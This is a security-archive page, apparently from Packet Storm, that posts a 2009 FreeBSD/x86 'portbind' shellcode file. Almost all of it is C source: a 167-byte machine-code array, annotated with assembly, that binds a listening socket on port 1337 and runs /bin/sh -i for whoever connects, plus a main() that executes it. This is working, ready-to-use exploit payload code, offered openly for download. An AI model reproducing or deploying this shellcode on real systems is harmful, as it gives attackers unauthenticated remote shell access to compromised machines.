what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD/x86 Portbind Shellcode

FreeBSD/x86 Portbind Shellcode
Posted Dec 29, 2009

167 bytes small portbinding shellcode for FreeBSD on x86.

tags | x86, shellcode
systems | freebsd
SHA-256 | 014efaae4a357d9c7a69805f7aeef8aeebf853ef85d44747b158d2537e98da78

FreeBSD/x86 Portbind Shellcode

Change Mirror Download
/*-
* Copyright (c) 2009, Sofian Brabez <sbz@6dev.net>
*
* freebsd-x86-portbind.c - FreeBSD x86 portbind a shell (/bin/sh) on
1337 (\x05\x39) 167 bytes
*/

const char shellcode[] =
"\x6a\x00" // push $0x0
"\x6a\x01" // push $0x1
"\x6a\x02" // push $0x2
"\x50" // push %eax
"\x6a\x61" // push $0x61
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x50" // push %eax
"\x6a\x00" // push $0x0
"\x6a\x00" // push $0x0
"\x6a\x00" // push $0x0
"\x6a\x00" // push $0x0
"\x68\x10\x02\x05\x39" // push $0x39050210
"\x89\xe0" // mov %esp,%eax
"\x6a\x10" // push $0x10
"\x50" // push %eax
"\xff\x74\x24\x1c" // pushl 0x1c(%esp)
"\x50" // push %eax
"\x6a\x68" // push $0x68
"\x58" // pop $eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\xff\x74\x24\x28" // pushl 0x28(%esp)
"\x50" // push %eax
"\x6a\x6a" // push $0x6a
"\x58" // pop $eax
"\xcd\x80" // int $0x80
"\x83\xec\x10" // sub $0x10,$esp
"\x6a\x10" // push $0x10
"\x8d\x44\x24\x04" // lea 0x4(%esp),%eax
"\x89\xe1" // mov %esp,%ecx
"\x51" // push %ecx
"\x50" // push %eax
"\xff\x74\x24\x4c" // pushl 0x4c(%esp)
"\x50" // push %eax
"\x6a\x1e" // push %0x1e
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x50" // push %eax
"\xff\x74\x24\x58" // pushl 0x58(%esp)
"\x50" // push %eax
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x00" // push $0x0
"\xff\x74\x24\x0c" // pushl 0xc(%esp)
"\x50" // push %eax
"\x6a\x5a" // push $0x5a
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\xff\x74\x24\x18" // pushl 0x18(%esp)
"\x50" // push %eax
"\x6a\x5a" // push $0x5a
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x02" // push $0x2
"\xff\x74\x24\x24" // pushl 0x24(%esp)
"\x50" // push %eax
"\x6a\x5a" // push $0x5a
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x68\x73\x68\x00\x00" // push $0x6873
"\x89\xe0" // mov %esp,%eax
"\x68\x2d\x69\x00\x00" // push $0x692d
"\x89\xe1" // mov %esp,%ecx
"\x6a\x00" // push $0x0
"\x51" // push %ecx
"\x50" // push %eax
"\x68\x2f\x73\x68\x00" // push $0x68732f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe0" // mov %esp,%eax
"\x8d\x4c\x24\x08" // lea 0x8(%esp),%ecx
"\x6a\x00" // push $0x0
"\x51" // push %ecx
"\x50" // push %eax
"\x50" // push %eax
"\x6a\x3b" // push $0x3b
"\x58" // pop %eax
"\xcd\x80"; // int $0x80

int main(void) {
void (*egg)() = (void *)shellcode;

return (*(int(*)())shellcode)();
}

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close